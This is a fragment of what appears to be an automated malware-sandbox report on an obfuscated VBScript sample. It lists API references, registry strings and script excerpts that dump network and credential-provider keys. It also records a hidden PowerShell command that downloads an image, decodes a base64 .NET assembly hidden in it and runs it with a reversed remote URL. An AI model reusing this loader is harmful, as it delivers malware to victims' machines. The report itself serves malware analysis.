00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "InitializeAcl"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetAclInformation"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetSecurityDescriptorDacl"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "IsValidSecurityDescriptor"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetSecurityDescriptorSacl"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "OpenEventW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "TranslateMessage"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "DispatchMessageW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "CLSIDFromString"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "ProgIDFromCLSID"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "CommandLineToArgvW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "OutputDebugStringA"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetSystemWindowsDirectoryW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "UnregisterClassA"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "RtlFreeHeap"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "RtlAllocateHeap"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp")39:T311f,"d /c netsh wlan show device >> " & outputFileName cIycKhveQtlyWzMWKwWbGoDegWcOWDJtImdnRqLhRSUOiGJWsgOCHziyDKObloWJDiovheZOOChJzHXJUGObkJzBbzKBzAKseDGAlPNylocOvICNkdUccqrIRhgNnSGu.Run cmd 0 True Set WcnInfoFile = FSO.OpenTextFile(outputFileName, 8, True) WcnInfoFile.WriteLine("") WcnInfoFile.WriteLine("----------------------") WcnInfoFile.WriteLine("+ Dump wcncsvc RegKey ") WcnInfoFile.WriteLine("----------------------") WcnInfoFile.WriteLine("") WcnInfoFile.Close cmd = "cmd /c reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wcncsvc\Parameters >> " & outputFileName cIycKhveQtlyWzMWKwWbGoDegWcOWDJtImdnRqLhRSUOiGJWsgOCHziyDKObloWJDiovheZOOChJzHXJUGObkJzBbzKBzAKseDGAlPNylocOvICNkdUccqrIRhgNnSGu.Run cmd 0 True' Set shell = WScript.CreateObject( "WScript.Shell" )' windir = shell.ExpandEnvironmentStrings("%windir%\system32\")' filename = windir + "wcnwiz.dll"' commandname = windir + "rundll32.exe"' cmd = "cm" in Source: EGK.vbs.bin, "mes = Array("ExtensibilityDLL", "UIExtensibilityCLSID", "GroupName", "DiagnosticsID") HKEY_LOCAL_MACHINE = &H80000002 strComputer = "." Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_ strComputer & "\root\default:StdRegProv") strKeyPath = "SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\" objReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, adapterSet For Each adapter In adapterSet If StrComp("Properties", adapter) Then fullstrKeyPath = strKeyPath + adapter objReg.GetDWORDValue HKEY_LOCAL_MACHINE, fullstrKeyPath, "*IfType", ifType If ifType = 71 Then for I = 0 to UBound(adapterDetailNames) objReg.GetStringValue HKEY_LOCAL_MACHINE, fullstrKeyPath, adapterDetailRegValNames(I), info outputFile.WriteLine(adapterDetailNames(I) + " = " + info) Next ihvKeyPath = fu" in Source: EGK.vbs.bin, "riverDesc", "NetCfgInstanceId", "MatchingDeviceId", "DriverDate", "DriverVersion", "ProviderName") HKEY_LOCAL_MACHINE = &H80000002 strComputer = "." Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_ strComputer & "\root\default:StdRegProv") strKeyPath = "SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\" objReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, adapterSet For Each adapter In adapterSet If StrComp("Properties", adapter) Then fullstrKeyPath = strKeyPath + adapter objReg.GetDWORDValue HKEY_LOCAL_MACHINE, fullstrKeyPath, "*IfType", ifType If ifType = 6 Then for I = 0 to UBound(adapterDetailNames) objReg.GetStringValue HKEY_LOCAL_MACHINE, fullstrKeyPath, adapterDetailRegValNames(I), info outputFile.WriteLine(adapterDetailNames(I) + " = " + info) Next out" in Source: EGK.vbs.bin, "RegFile = RegFolder + "\NetworkProfiles.reg.txt" call DumpRegKey(NotifRegFile ,"""HKLM\SYSTEM\CurrentControlSet\Control\Winlogon\Notifications""") call DumpRegKey(AllCredRegFile ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers""") call DumpRegKey(AllCredFilterFile,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Provider Filters""") call DumpRegKey(CredRegFileA ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{07AA0886-CC8D-4e19-A410-1C75AF686E62}""") call DumpRegKey(CredRegFileB ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{33c86cd6-705f-4ba1-9adb-67070b837775}""") call DumpRegKey(CredRegFileC ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Provider Filters\{edd749de-2ef1-4a80-98d1-81f20e6df58e}""") call DumpRegKey(APIPermRegFile ,"""HKLM\SYSTEM\CurrentControlSet\Services\Wlansvc\Parameters\WlanAPIPer" in Source: EGK.vbs.bin, "missions""") call DumpRegKey(GPTRegFile , """HKLM\SOFTWARE\Policies\Microsoft\Windows\Wireless\GPTWirelessPolicy""") call DumpRegKey(CUWlanSvcRegFile ,"""HKCU\SOFTWARE\Microsoft\Wlansvc""") call DumpRegKey(LMWlanSvcRegFile ,"""HKLM\SOFTWARE\Microsoft\Wlansvc""") ' Dump Dot3 registry keys LMDot3SvcRegFile = RegFolder + "\HKLMDot3Svc.reg.txt" CUDot3SvcRegFile = RegFolder + "\HKCUDot3Svc.reg.txt" LGPPolicyFile = RegFolder + "\L2GP.reg.txt" call DumpRegKey(LMDot3SvcRegFile ,"""HKLM\SOFTWARE\Microsoft\dot3svc""") call DumpRegKey(CUDot3SvcRegFile ,"""HKCU\SOFTWARE\Microsoft\dot3svc""") call DumpRegKey(LGPPolicyFile ,"""HKLM\SOFTWARE\Policies\Microsoft\Windows\WiredL2\GP_Policy""") call DumpRegKey(NidRegFile ,"""HKLM\SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\NetworkList""") ' Dump WCM registry keys WCMPolicyRegFile = RegFolder + "\WCMPolicy.reg.txt" call DumpRegKey(WCMPolicyRegFile ,"""HKLM\SOFTWARE\Policies\Microsoft\WcmSvc"""" in Source: EGK.vbs.bin, "cmd = "cmd /c reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wcncsvc\Parameters >> " & outputFileName" in Source: EGK.vbs.bin, "strKeyPath = "SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\"" in Source: EGK.vbs.bin, "call DumpRegKey(NotifRegFile ,"""HKLM\SYSTEM\CurrentControlSet\Control\Winlogon\Notifications""")" in Source: EGK.vbs.bin, "call DumpRegKey(AllCredRegFile ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers""")" in Source: EGK.vbs.bin, "call DumpRegKey(AllCredFilterFile,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Provider Filters""")" in Source: EGK.vbs.bin, "call DumpRegKey(CredRegFileA ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{07AA0886-CC8D-4e19-A410-1C75AF686E62}""")" in Source: EGK.vbs.bin, "call DumpRegKey(CredRegFileB ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{33c86cd6-705f-4ba1-9adb-67070b837775}""")" in Source: EGK.vbs.bin, "call DumpRegKey(CredRegFileC ,"""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Provider Filters\{edd749de-2ef1-4a80-98d1-81f20e6df58e}""")" in Source: EGK.vbs.bin, "call DumpRegKey(APIPermRegFile ,"""HKLM\SYSTEM\CurrentControlSet\Services\Wlansvc\Parameters\WlanAPIPermissions""")" in Source: EGK.vbs.bin, "call DumpRegKey(GPTRegFile , """HKLM\SOFTWARE\Policies\Microsoft\Windows\Wireless\GPTWirelessPolicy""")" in Source: EGK.vbs.bin, "call DumpRegKey(CUWlanSvcRegFile ,"""HKCU\SOFTWARE\Microsoft\Wlansvc""")" in Source: EGK.vbs.bin, "call DumpRegKey(LMWlanSvcRegFile ,"""HKLM\SOFTWARE\Microsoft\Wlansvc""")" in Source: EGK.vbs.bin, "call DumpRegKey(LMDot3SvcRegFile ,"""HKLM\SOFTWARE\Microsoft\dot3svc""")" in Source: EGK.vbs.bin, "call DumpRegKey(CUDot3SvcRegFile ,"""HKCU\SOFTWARE\Microsoft\dot3svc""")" in Source: EGK.vbs.bin, "call DumpRegKey(LGPPolicyFile ,"""HKLM\SOFTWARE\Policies\Microsoft\Windows\WiredL2\GP_Policy""")" in Source: EGK.vbs.bin, "call DumpRegKey(NidRegFile ,"""HKLM\SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\NetworkList""")" in Source: EGK.vbs.bin, "call DumpRegKey(WCMPolicyRegFile ,"""HKLM\SOFTWARE\Policies\Microsoft\WcmSvc""")" in Source: EGK.vbs.bin, "\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{5C59E703-8`" in Source: 00000000-00000612.00000000.79908.00380000.00000004.mdmp, 00000000-00000612.00000001.81290.003DA000.00000004.mdmp, "\REGISTRY\MACHINE\SOFTWARE\Classes\W" in Source: 00000000-00000612.00000000.79908.00380000.00000004.mdmp, 00000000-00000612.00000001.81290.003E6000.00000004.mdmp, "\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{5C59E703-88A2-4E9E-A59E-EE013FAABA\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BE33A527-42FE-43A4-AC5E-C1D059FC705F}" in Source: 00000000-00000612.00000000.79908.00380000.00000004.mdmp, 00000000-00000612.00000001.81290.003F1000.00000004.mdmp, "GISTRY\MACHINE\SOFTWARE\Classes\W" in Source: 00000000-00000612.00000000.79908.00380000.00000004.mdmp, "\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{BE33A527-42FE-43A4-AC5E-C1D059FC705F}" in Source: 00000000-00000612.00000000.79908.00380000.00000004.mdmp, 00000000-00000612.00000001.81290.003FE000.00000004.mdmp, "HINE\SOFTWARE\Classes\Wow6432Node\C" in Source: 00000000-00000612.00000000.79908.00380000.00000004.mdmp, "SOFTWARE\Classes\CLSID\{BE33A527-42FE-43A4-AC5E-C1D059FC705F}" in Source: 00000000-00000612.00000000.79908.00380000.00000004.mdmp, 00000000-00000612.00000001.81290.003FE000.00000004.mdmp, "\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00000612.00000000.79908.7EFE0000.00000002.mdmp, 00000000-00000612.00000001.81290.7EFE0000.00000002.mdmp, "Software\Microsoft\RegEdt32" in Source: 00000000-00000612.00000000.79908.7EFE0000.00000002.mdmp, 00000000-00000612.00000001.81290.7EFE0000.00000002.mdmp, "Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts" in Source: 00000000-00000612.00000000.79908.7EFE0000.00000002.mdmp, 00000000-00000612.00000001.81290.7EFE0000.00000002.mdmp, "Software\Microsoft\Windows NT\CurrentVersion\Devices" in Source: 00000000-00000612.00000000.79908.7EFE0000.00000002.mdmp, 00000000-00000612.00000001.81290.7EFE0000.00000002.mdmp, "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TRUETYPE" in Source: 00000000-00000612.00000000.79908.7EFE0000.00000002.mdmp, 00000000-00000612.00000001.81290.7EFE0000.00000002.mdmp, "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\EXTENSIONS" in Source: 00000000-00000612.00000000.79908.7EFE0000.00000002.mdmp, 00000000-00000612.00000001.81290.7EFE0000.00000002.mdmp, "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TWAIN" in Source: 00000000-00000612.00000000.79908.7EFE0000.00000002.mdmp, 00000000-00000612.00000001.81290.7EFE0000.00000002.mdmp, "SOFTWARE\\MICROSOFT\\CHARMAP" in Source: 00000000-00000612.00000000.79908.7EFE0000.00000002.mdmp, 00000000-00000612.00000001.81290.7EFE0000.00000002.mdmp, "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\PERSISTENT CONNECTIONS" in Source: 00000000-00000612.00000000.79908.7EFE0000.00000002.mdmp, 00000000-00000612.00000001.81290.7EFE0000.00000002.mdmp, "SOFTWARE\\MICROSOFT\\WINDOWS HELP" in Source: 00000000-00000612.00000000.79908.7EFE0000.00000002.mdmp, 00000000-00000612.00000001.81290.7EFE0000.00000002.mdmp, "SOFTWARE\\MICROSOFT\\CLOCK" in Source: 00000000-00000612.00000000.79908.7EFE0000.00000002.mdmp, 00000000-00000612.00000001.81290.7EFE0000.00000002.mdmp, "Software\Microsoft\Windows NT\CurrentVersion\Windows" in Source: 00000000-00000612.00000000.79908.7EFE0000.00000002.mdmp, 00000000-00000612.00000001.81290.7EFE0000.00000002.mdmp, "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize" in Source: 00000000-00000612.00000001.81290.00210000.00000004.mdmp, "\REGISTRY\MACHINE\SOFTWARE\Classes\Wow64c" in Source: 00000000-00000612.00000001.81290.00439000.00000004.mdmp, "HKLM System\CurrentControlSet\Control\CoDeviceInstallers {4d36e968-e325-11ce-bfc1-08002be10318} 0x00010008g" in Source: 00000000-00000612.00000001.81290.00443000.00000004.mdmp, "HKLM Software\Microsoft\Windows NT\CurrentVersion\OpenGLDrivers\MSOGL DLL %REG_SZ% vm3dgl.dll" in Source: 00000000-00000612.00000001.81290.00443000.00000004.mdmp, "HKLM Software\" in Source: 00000000-00000612.00000001.81290.00443000.00000004.mdmp, "HKLM Software\Microsoft\Windows NT\CurrentVersion\O" in Source: 00000000-00000612.00000001.81290.00443000.00000004.mdmp, "HKLM Software\Microsoft\Windows NT\CurrentVersion\OpenGLDrivers\MSOGL Version %REG_DWORD% 0x0002" in Source: 00000000-00000612.00000001.81290.00443000.00000004.mdmp, "e.hw.addreg_hklm\system\currentcontrolset\enum\" in Source: 00000000-00000612.00000001.81290.01570000.00000004.mdmp, "m3d_softwaredevicesettings_common_hklm\system\currentcontrolset\control\class\{4d36e968-e325-11ce-bfc1-08002be10318}\" in Source: 00000000-00000612.00000001.81290.01570000.00000004.mdmp, "mware_installers_addreg_hklm\system\currentcontrolset\services\vm3dmp" in Source: 00000000-00000612.00000001.81290.01570000.00000004.mdmp, "musbmouse.hw.addreg_hklm\system\currentcontrolset\enum\" in Source: 00000000-00000612.00000001.81290.01570000.00000004.mdmp3a:T406,Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ('txt.912jhe/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"" (UID: 00000000-00001464)3b:Tbc7,"WScript.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "WScript.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "PING.EXE" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - 